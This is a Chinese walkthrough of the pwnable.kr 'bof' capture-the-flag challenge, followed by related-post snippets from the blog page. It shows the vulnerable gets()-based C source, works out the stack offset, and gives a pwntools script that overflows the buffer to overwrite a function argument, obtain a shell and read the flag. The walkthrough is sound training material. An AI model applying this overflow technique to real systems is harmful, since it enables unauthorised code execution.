bof - pwnable

1.获取题目

题目给出下载链接:程序文件;源码

2. 运行程序、查看文件类型、保护措施

在本地机上运行一下程序:运行提示需要输入一个passcode,随意输入一个密码提示Nah…

查看文件类型:是32位动态链接的elf

查看保护措施:

3.分析源码

因为题目有给出源码,所以先直接查看源码分析。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

main应该不存在问题,只是调用func函数并传入一个参数。func函数中gets函数应该存在漏洞的,并没有限制输入的长度,容易造成栈溢出。

func函数里面的if语句判断传入的参数是否等于0xcafebabe,从而决定是否运行system函数。

那么我们的思路就是例如gets函数造成栈溢出,覆盖传入的参数值,使得等式成立。即使a1 = 0xcafebabe


将程序丢进IDA,可以看到变量s到栈底的距离是0x2CH,加上ebp和eip。变量s到变量a1内存单元的距离是0x2CH + 4 + 4

先来构造payload

from pwn import *
payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)

在本地测试运行一下:system函数已经被调用了

4. 编写利用脚本

from pwn import *bof = remote('pwnable.kr','9000')#题目运行在pwnable.kr的9000端口payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)bof.send(payload)
bof.interactive()#转移控制权限
//以下是获取sh之后,寻找flag
ls -l
cat flag

bof - pwnable相关推荐

  1. pwnable.kr 简单题目详细笔记汇总

    文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...

  2. 简单易懂的 pwnable.kr 第三题[bof]Writeupt

    简单易懂的 pwnable.kr 第三题[bof]Writeupt 题目地址:http://pwnable.kr/play.php 点开题目发现: 他给了提示覆盖,并且给了两个网址.分别打开,第一个给 ...

  3. pwnable.kr bof

    pwnable.kr bof 同样的,既然有源代码.我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系. bof.c #include <stdio.h> #i ...

  4. 每日一题pwnable.kr bof

    需要我们计算我们输入的位置到a1位置需要填充多少字节.然后再给a1赋值即可getshell 疑问1. 怎么确定输入的位置到a1的距离? 我刚开始想这么干,直接用这个地址相减. 但是不行,这题是覆盖变量 ...

  5. 【pwnable.kr】 alloca

    https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...

  6. pwnable.kr之Toddler‘s Bottle前八题知识点记录

    pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...

  7. 【pwnable.kr】Toddler‘s Bottle-[bof]

    目录导航 打开题目审题 nc 命令介绍 获取服务器文件 源代码分析 ELF分析构造payload 解题 打开题目审题 Nana told me that buffer overflow is one ...

  8. Pwnable之[Toddler's Bottle](一)

    Pwnable之[Toddler's Bottle] Pwn挑战地址 1.fd #include <stdio.h> #include <stdlib.h> #include ...

  9. #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践

    20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...

  10. 20145227鄢曼君《网络对抗》逆向及Bof基础

    20145227鄢曼君<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...

最新文章

  1. 信息熵与自然语言处理
  2. 《ASP.NET办公自动化系统开发实例导航》笔记一
  3. 用C#实现计算机图形学算法
  4. Py之Seaborn:数据可视化Seaborn库的柱状图、箱线图(置信区间图)、散点图/折线图、核密度图/等高线图、盒形图/小提琴图/LV多框图的组合图/矩阵图实现
  5. Altium Designer -- 差分布线和阻抗匹配
  6. (76)FPGA面试题-Verilog实现下降沿检测
  7. Eclipse 常用技巧及常见问题解决
  8. Delphi在代码编辑栏按回车无法换行
  9. python中如何导入数据包_如何在python中发送数据包?
  10. 如何处理Ibatis结合MySQL数据库使用时的事务操作
  11. 法拉科机器人编程软件_发那科 FANUC 机器人仿真软件 中文 roboguide9.1 视频教程...
  12. springboot简历制作
  13. quartus基本操作
  14. php 获取上周日期_php获取本周以及上周 开始 和结束的日期
  15. 苹果计算机快捷键设置在哪里,苹果手机快捷键小方块怎么设置 【设置方法】...
  16. 导出excel工具类
  17. 寻迹Arduino智能小车
  18. 【基础算法】穷举算法 (暴力枚举) C++实现
  19. 2万字长文盘点五种负载均衡策略
  20. windows Server 2008 R2安装Oracle 12c R2 报错:Failed to Create oracle Oracle Home User的解决方案。

热门文章

  1. STM32L151缓慢上断电-电源控制模块的使用(PVD、BOR、POR/PDR)
  2. 【语义分割系列:八】Segmentation 数据集 介绍下载论文
  3. c语言头文件inistd,Windows10 VS2017 C++ ini解析(使用simpleini头文件)
  4. 跟我一起水疗的哥俩儿,其实挺猛的!
  5. Visual studio code 使用 Team Foundation Server - Windows
  6. kangle安装php7.0_搭建Kangle+EasyPanel对接SWAP IDC虚拟主机自助开通完整教程
  7. 在Panda3d中转换Maya模型为egg格式并使用pview查看
  8. 【解决】gnglia报错:Can‘t open PID file /usr/local/ganglia/var/run/gmetad.pid (yet?)
  9. 技术QA:如何找回丢失的证书模板或将独立CA转换成企业CA?
  10. go语言学习-多重返回和匿名变量